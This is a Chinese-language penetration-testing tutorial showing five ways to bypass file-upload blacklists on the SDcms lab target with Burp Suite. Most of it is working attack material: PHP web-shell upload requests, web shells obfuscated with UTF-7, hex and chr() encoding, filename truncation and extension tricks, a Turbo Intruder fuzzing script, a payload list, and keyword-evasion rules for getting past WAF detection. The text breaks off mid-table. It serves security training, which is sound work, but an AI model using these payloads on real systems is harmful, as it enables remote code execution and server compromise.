Burp Suite高阶实战:SDcms文件上传漏洞的5种绕过技术与方法论
在渗透测试的武器库中,文件上传漏洞始终是最具破坏力的攻击向量之一。当安全工程师面对一个看似固若金汤的黑名单过滤系统时,如何用Burp Suite这把"瑞士军刀"进行精准打击?本文将以SDcms靶场为实验环境,演示五种鲜为人知的绕过技术,同时构建一套可复用的高级测试框架。
1. 环境搭建与基础侦查
1.1 靶场环境配置
SDcms靶场模拟了典型的PHP黑名单过滤机制,其防御特点包括:
- 后缀名黑名单(.php/.asp/.jsp等)
- 内容关键词过滤(phpinfo/eval等)
- 基础文件头校验(GIF/PNG等)
使用Docker快速部署测试环境:
docker pull vulhub/sdcms:latest docker run -d -p 8080:80 --name sdcms_lab vulhub/sdcms1.2 Burp Suite初始配置
建议采用以下Proxy设置优化测试流程:
User Options -> Connections -> 勾选"Support invisible proxy" Project Options -> HTTP -> 取消勾选"Automatically update Content-Length"关键提示:在测试前务必关闭Burp的"Intercept"功能,改为使用Logger++扩展记录所有流量,避免中断连续测试过程。
2. 黑名单绕过核心技术矩阵
2.1 魔法数字伪装术
通过添加文件头欺骗校验机制是最经典的绕过方式,但多数测试者仅停留在GIF89a层面。实际上不同场景下这些组合更有效:
| 文件类型 | 魔术字节 | 适用场景 |
|---|---|---|
| PNG | \x89PNG\x0D\x0A\x1A\x0A | 严格校验文件头的系统 |
| ZIP | PK\x03\x04 | 解析器漏洞利用 |
| %PDF-1.4 | 文档管理系统 |
在Burp Repeater中构造混合payload:
POST /upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="exploit.png" Content-Type: image/png %PDF-1.4 <?php system($_GET['cmd']); ?>2.2 多重编码混淆技术
当遇到关键词过滤时,可采用三级编码组合:
HTML实体编码:
<?php echo `$_GET[x]`; ?>UTF-7编码:
+ADw?php system(+ACQAXw-GET+AFsAJw-cmd+ACcAXQ)+ADs ?+AD4-Hex编码拼接:
<?php $a = "\x73\x79\x73\x74\x65\x6d"; // system $a($_GET['x']); ?>
在Burp Intruder中使用"Cluster bomb"攻击模式,同时测试多种编码组合:POST /upload.php HTTP/1.1 ... file=§1§&type=§2§
Payload set 1: [原始代码, HTML实体, UTF-7] Payload set 2: [无编码, Base64, Hex] ## 3. 路径穿越与存储型攻击 ### 3.1 00截断的现代变种 传统%00截断在PHP5.3后失效,但可通过这些方式实现类似效果: 1. **换行符截断**: ```http filename="exploit.php\x0A.jpg"多重分号:
filename="exploit.php;;.jpg"URL编码组合:
filename="exploit.php%26%2300%3B.jpg"
3.2 二级存储写入技术
当直接上传受限时,可采用"先传后改"策略:
上传合法图片文件获取存储路径
使用Burp Repeater修改历史请求:
PUT /uploads/2023/09/legit.jpg HTTP/1.1 Content-Type: text/plain <?php include('/proc/self/environ'); ?>触发服务器端缓存机制使修改生效
4. 解析漏洞的深度利用
4.1 非常规后缀组合
测试这些易被忽略的后缀组合:
exploit.php.png exploit.php%20 exploit.php%0d%0a.jpg exploit.pHp exploit.php.使用Burp Intruder的"Pitchfork"模式批量测试:
POST /upload.php HTTP/1.1 ... filename=§exploit§.§ext§4.2 内容类型混淆
修改Content-Type头配合非常规扩展名:
| 实际内容 | 声明Content-Type | 测试效果 |
|---|---|---|
| PHP代码 | image/svg+xml | 绕过部分WAF |
| Shell | application/octet-stream | 避开内容检测 |
| JS代码 | text/plain | 利用解析器特性 |
5. 自动化测试框架构建
5.1 Burp宏配置
创建自动化测试流程:
在
Project options -> Sessions中添加新宏:- 录制登录过程
- 设置触发条件为"检测到/login页面"
配置
Session Handling Rules:{ "scope": { "url_scope": "target.com/upload" }, "actions": [ { "type": "run_macro", "macro": "auto_login" } ] }
5.2 Turbo Intruder脚本
针对大规模fuzz测试,使用此Python脚本:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=100, pipeline=False) for word in open('/path/to/payloads.txt'): engine.queue(target.req, word.rstrip()) def handleResponse(req, interesting): if '200 OK' in req.response or 'upload success' in req.response: table.add(req)将以下payload保存为文本文件:
<?php $x=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);$x($_GET[0]); ?> GIF89a <?php eval/*test*/('$_=chr(99).chr(100).chr(32).chr(47);system($_);'); ?> <?php echo '<?php system($_GET[0]);?>'; ?>防御对抗与检测规避
6.1 流量混淆技术
使用Burp的Match and Replace规则:
| 原始内容 | 替换内容 | 作用 |
|---|---|---|
| eval( | \x65\x76\x61\x6c( | 绕过关键词检测 |
| system | ${"syst"."em"} | 拆分函数名 |
| <?php |